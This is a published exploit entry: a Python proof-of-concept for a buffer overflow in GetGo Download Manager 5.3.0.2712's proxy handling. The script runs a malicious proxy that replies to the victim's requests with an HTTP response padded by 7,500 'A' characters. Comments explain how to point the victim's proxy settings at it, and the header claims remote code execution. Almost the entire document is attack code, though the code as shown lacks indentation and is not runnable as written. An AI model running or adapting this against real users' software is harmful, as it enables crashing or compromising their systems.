GetGo Download Manager 5.3.0.2712 Proxy Buffer Overflow

`# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712  
# Date: 01-02-2018  
# Tested on Windows 8 64 bits   
# Exploit Author: devcoinfet  
# Contact: https://twitter.com/wabefet  
# Software Link: http://www.getgosoft.com/getgodm/   
# Category: webapps  
# Attack Type: Remote  
# Impact: Code Execution   
  
#to be vulnerable victim must have a proxy selected that will maliciously return data in response  
#select proxy ip of host running this script incase You have vm running the software  
#set port of proxy on getgo under proxy settings as well now when you download any page  
#or any file the program incorrectly parses the response and passes request to malicious host triggering overlfow  
  
default_evilbuffer = "A" * 7500  
  
def main():  
ip = "10.10.10.6"  
port = 8055  
fuzz_test(ip,default_evilbuffer,port)  
  
def fuzz_test(ip,payload,port):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((ip, port))  
s.listen(1)  
print "\n[+] Listening on %d ..." % port  
  
cl, addr = s.accept()  
print "[+] Connection accepted from %s" % addr[0]  
print "[+] Pushing fuzz test to %s" % addr[0]  
  
buffer = "HTTP/1.1 200 " + payload + "\r\n"  
  
print cl.recv(1000)  
cl.send(buffer)  
print "[+] Sending Fuzzed buffer From Mailicious Proxy: OK\n"  
print "[+] Payload type Default Buffer of 7500 A's"  
  
sleep(3)  
cl.close()  
s.close()  
  
if __name__ == '__main__':  
import socket  
from time import sleep  
main()  
  
`